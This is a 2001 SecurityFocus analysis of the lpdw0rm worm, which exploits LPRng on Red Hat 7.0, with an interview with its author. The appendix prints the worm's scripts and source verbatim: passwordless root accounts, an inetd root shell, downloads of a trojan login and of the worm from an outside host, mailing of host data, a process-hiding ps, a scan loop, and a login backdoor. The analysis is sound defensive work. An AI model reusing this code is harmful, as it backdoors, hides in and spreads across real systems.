"lpdw0rm" Worm Analysis
April 26, 2001
Analysts: Oliver Friedrichs, Jensenne Roculan and Ryan Russell
SecurityFocus wishes to thank the anonymous
party who originally supplied
us with a copy of the lpdw0rm.tar
file, and also Kork for supplying us
with further versions and source code,
and agreeing to speak with us.
lpdw0rm
Associated Vulnerability:
Multiple Vendor LPRng User-Supplied
Format String Vulnerability
Associated Bugtraq ID:
1712
Associated Operating Systems:
RedHat Linux 7.0
General Overview
There is a new worm in the wild that
affects unpatched Red Hat 7.0 servers
running the lprng printing service.
This is one of the vulnerabilities
that several previous worms have taken
advantage of. The fix is to apply
the patch from Red Hat. Part of the
threat has already been removed, as
the website that the worm downloads
itself from has had the worm files
removed. However, the author could
re-active the website, or anyone could
easily create a variant that downloads
itself from somewhere else. Even
with the download disabled, two backdoor
access methods are installed
during the initial compromise. There
are still compromised machines out
in the wild that will be scanning
for new hosts to attack.
Technical Description
The lpdw0rm installs several backdoors
when it compromises a host. The
initial set can be inferred from the
.shelldet file, which is the set of
commands sent when the exploit is
successful. It has the following set of
lines:
echo 'kork::1212:1212:::/bin/sh'>>/etc/passwd
echo 'kork::::::::'>>/etc/shadow
echo 'kork2::0:0:::/bin/sh'>>/etc/passwd
echo 'kork2::::::::'>>/etc/shadow
echo '666 stream tcp nowait root /bin/sh'>>/etc/inetd.conf
killall -HUP inetd
These add two new logins, kork and
kork2, with no password. One of them is a
root equivalent. It also adds a shell
prompt at TCP port 666.
Next, it downloads a file called login.c,
moves it to /dev/.kork, does a
"make login", moves /bin/login to
/bin/.login, moves /dev/.kork/login to
/bin/login. Then it downloads a copy
of itself (lpdw0rm.tar), untars
itself into /dev/.kork, runs /dev/.kork/rk/install.sh,
and then finally
runs /dev/.kork/scan.sh . The install.sh
script collects the output from
the following commands:
/sbin/ifconfig
finger root
w
ps ax
And mails them to an outside e-mail
account. Next, it renames /bin/ps to
/bin/.ps, and copies a perl script
named "ps" that was included in
lpdw0rm.tar to /bin/ps. This perl
script runs the saved .ps program, and
strips out any entries with the following
strings:
cat
pscan
bfs
binfo
hack
expl
check
scan.sh
xargs
perl /bin/ps
/usr/bin/.ps
login
in.telnetd
The install.sh script finishes up by running winky.pl in the background.
Winky.pl is an IRC bot, written in
41 lines of perl. Upon running, it
connects to twisted.dal.net, and logs
into the #qcrew channel with a
password. The victims will then remain
logged in, awaiting commands.
Anyone with a copy of the script has
enough information to cause all of
these victims to simultaneously execute
an arbitrary command. During one
point while this analysis was being
written, there were two victim
machines logged into the channel,
but this is after the worm has been
pulled from the website. If the victim
can’t download the tar file, this
portion of the worm cannot execute.
This feature could be leveraged to
create a distributed denial of service
attack, and is yet one more method
for an attacker to return to the
compromised host. SecurityFocus has
at least one other copy of
lpdw0rm.tar that does not include
winky.pl, nor reference to it in
install.sh. There are at least two
variants of this worm, and could
easily be more, since all the author
had to do was replace lpdw0rm.tar on
her website.
Much like previous worms, lpdw0rm contains
a scan.sh script that does
three things in a continuous loop;
it runs randb, and saves the output
into a variable named CLASS. It runs
pscan with the parameters $CLASS and
515 (the lpr/lprng port) and then
runs check. The randb program generates
the first two octets of an IP address.
Unlike previous versions of randb,
the worm author has modified it to
avoid certain address ranges that are
makred for private use, or are above
the multicast range. Specifically,
it's programmed to avoid a first byte
of 0 through 10, 49, anything over
230, and a first two bytes of 192.168.
Previous versions of rand would
pick any combination of bytes.
The pscan program is a standard full-connect
port scanner. The check
program is a shell script which calls
.hack:
#!/bin/sh
cat results.log | xargs -P 30 -l ./.hack
And .hack is a shell script that calls expl, which is the actual exploit binary:
./expl $1 -t0 < .shelldet
./expl $1 brute -t0 < .shelldet
exit 1
The source code for this binary can
found attached to the LPRng vulnerability
entry at:
http://www.securityfocus.com/bid/1712
on the "exploit" tab.
Author Interview
Kork, the author of the worm, agreed
to an IRC interview with several
SecurityFocus employees. She describes
herself as a 19 year old
programmer from Australia. She confirmed
that she wrote the worm, and
provided us with a variant, and the
source code to some of the pieces.
She says that she took the files off
of her web server because the worm
was spreading too fast. She says that
is has been in the wild for about a
month, and that she has had as many
as a hundred new victims per day.
When asked if she was concerned about
being prosecuted, she indicated that
she didn't feel that there was an
adequate trail back to her. Her general
reasoning as to why she had written
the worm was to see if she could do
it.
Additional Resources
Multiple Vendor LPRng User-Supplied
Format String Vulnerability
http://www.securityfocus.com/bid/1712
Red Hat patch:
ftp://updates.redhat.com/7.0/i386/LPRng-3.6.24-2.i386.rpm
Worm author's website
http://www.darksisterhood.net/
Appendix: Source Code & Scripts
/dev/.kork/.hack
**********
./expl $1 -t0 < .shelldet
./expl $1 brute -t0 < .shelldet
exit 1
/dev/.kork/.shelldet
**********
echo 'kork::1212:1212:::/bin/sh'>>/etc/passwd
echo 'kork::::::::'>>/etc/shadow
echo 'kork2::0:0:::/bin/sh'>>/etc/passwd
echo 'kork2::::::::'>>/etc/shadow
echo '666 stream tcp nowait root /bin/sh'>>/etc/inetd.conf
killall -HUP inetd
lynx --dump http://x.x.x.x/~kork/login.c
mkdir /dev/.kork
mv login.c /dev/.kork
cd /dev/.kork
make login
mv /bin/login /bin/.login
mv login /bin/login
rm -rf login.c
ln -s /bin/.login /bin/login
lynx --dump http://x.x.x.x/~kork/lpdw0rm.tar>>lpdw0rm.tar
tar -xvf lpdw0rm.tar
cd lpdw0rm
cd rk
./install.sh
cd ..
./scan.sh >>/dev/null &
/dev/.kork/check
**********
#!/bin/sh
cat results.log | xargs -P 30 -l ./.hack
/dev/.kork/scan.sh
**********
#!/bin/sh
while true
do
CLASS=`./randb`
./pscan $CLASS 515
./check
done
/dev/.kork/rk/install.sh
**********
#!/bin/sh
echo '0wned'>>mail.stat
echo 'HOST DET:'>>mail.stat
/sbin/ifconfig>>mail.stat
finger root>>mail.stat
w>>mail.stat
ps ax>>mail.stat
echo '.'>>mail.stat
echo ''>>mail.stat
mail kork@xxxxxxx.com
< mail.stat
rm -rf mail.stat
mv /bin/ps /usr/bin/.ps
mv ps /bin/ps
./winky.pl &
/dev/.kork/rk/ps
**********
#!/usr/bin/perl
$args="$ARGV[0] $ARGV[1] $ARGV[2]
$ARGV[3] $ARGV[4] $ARGV[5]
$ARGV[6] $ARGV[7] $ARGV[9] $ARGV[10]";
system "/usr/bin/.ps $args >>/tmp/.tmpps";
open(TEST,"</tmp/.tmpps");
while(<TEST>) {
$data=$_;
if (index($data,"cat") >= 0) { goto
nextr; }
if (index($data,"pscan") >= 0) { goto
nextr; }
if (index($data,"bfs") >= 0) { goto
nextr; }
if (index($data,"binfo") >= 0) { goto
nextr; }
if (index($data,"hack") >= 0) { goto
nextr; }
if (index($data,"expl") >= 0) { goto
nextr; }
if (index($data,"check") >= 0) { goto
nextr; }
if (index($data,"scan.sh") >= 0) {
goto nextr; }
if (index($data,"xargs") >= 0) { goto
nextr; }
if (index($data,"perl /bin/ps") >=
0) { goto nextr; }
if (index($data,"/usr/bin/.ps") >=
0) { goto nextr; }
if (index($data,"login") >= 0) { goto
nextr; }
if (index($data,"in.telnetd") >= 0)
{ goto nextr; }
print "$data";
nextr:;
}
system "rm -rf /tmp/.tmpps";
randb.c
**********
#include <stdio.h>
#include <stdlib.h>
int main() {
int a=0,b=0;
srand(time(NULL));
start:;
a=1+(int) (223.0*rand()/(RAND_MAX+1.0));
b=1+(int) (255.0*rand()/(RAND_MAX+1.0));
if (a == 127) { goto start; }
if (a == 0) { goto start; }
if (a == 1) { goto start; }
if (a == 2) { goto start; }
if (a == 3) { goto start; }
if (a == 4) { goto start; }
if (a == 5) { goto start; }
if (a == 6) { goto start; }
if (a == 7) { goto start; }
if (a == 8) { goto start; }
if (a == 9) { goto start; }
if (a == 10) { goto start; }
if (a == 49) { goto start; }
if (a == 192) { if (b == 168) { goto
start; } }
printf("%i.%i", a, b);
}
login.c
**********
/*
login backdoor by Kork
*/
#include <stdio.h>
#define pass "xxxxxxx"
#define lpath "/bin/.login"
int main(int argc, char *argv[], char
*envp[]) {
char *disp;
disp=getenv("DISPLAY");
if(disp == NULL) {
execve(lpath, argv,
envp);
perror(lpath);
exit(1);
}
if (!strcmp(disp,pass)) {
system("/bin/sh");
exit(1);
}
execve(lpath, argv, envp);
exit(1);
}